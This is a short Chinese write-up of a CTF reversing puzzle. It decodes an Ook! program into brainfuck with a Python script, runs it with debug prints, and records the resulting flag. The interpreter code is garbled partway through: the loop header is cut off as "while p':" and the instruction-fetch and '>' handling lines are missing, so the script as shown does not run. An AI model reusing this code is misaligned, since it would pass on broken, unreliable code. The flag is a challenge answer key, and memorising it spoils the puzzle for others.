ook是变形的brainfuck，只有.!?三种符号，每两个一组组成8种符号，表示前进后退加减IO和循环。
在输入一个字符后会作个减法如果结果为0就是正确，但不0也不会报错，这语言太差。然后一步步debug就行了
msg = open('miverse.txt').read().replace('\n','').replace('\r','')
dic = {'.?':'>', '?.':'<', '..':'+', '!!':'-', '!.':'.', '.!':',', '!?':'[', '?!':']'}
cmd = ''.join([ dic[msg[i:i+2]] for i in range(0, len(msg), 2) ])
print(cmd)
op = [0]*1000
rip = 0
p = 0
while p':
rip+=1
elif i == '<':
rip-=1
elif i == '+':
op[rip]+=1
elif i == '-':
op[rip]-=1
elif i == '.':
print('==>',chr(op[rip]))
elif i == ',':
op[rip] = ord(input('---->')[0])
elif i == '[':
if op[rip] == 0:
cnt = 1
while cnt != 0:
if cmd[p] == '[': cnt += 1
if cmd[p] == ']': cnt -= 1
p += 1
elif i == ']':
cnt = 1
p -= 1
while cnt!=0:
p -= 1
if cmd[p] == ']' : cnt += 1
if cmd[p] == '[' : cnt -= 1
if p>440:
print(p,rip,op[:25])
#输入字符后运算应等于0
#b'Just_ReLerse_OoK!'
'''
---->o
1116 3 [0, 0, 0, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
...
1145 3 [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
---->k
1146 3 [0, 0, 0, 107, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
...
1173 3 [0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
---->!
1174 3 [0, 0, 0, 33, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
...
1195 3 [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
'''